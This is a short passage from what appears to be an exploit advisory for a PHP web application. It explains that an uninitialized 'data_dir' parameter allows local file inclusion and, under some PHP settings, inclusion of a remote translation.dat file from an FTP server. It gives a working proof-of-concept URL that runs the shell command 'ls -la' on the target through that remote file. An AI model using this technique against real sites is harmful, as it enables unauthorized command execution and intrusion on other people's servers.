....

"data_dir" argument is uninitialized, so:
i)  if magic_quotes_gpc = off and register_globals = On you can include
    arbitrary files from local resources
ii) against PHP5, if register_globals = On and allow_url_fopen = 0n,
    you can include an arbitrary translation.dat file from a ftp resource, poc:

    http://[target]/[path]/language.php?cmd=ls%20-la&data_dir=ftp://Anonymous:[email protected]/public/

this is the code for i), you can do ii) manually
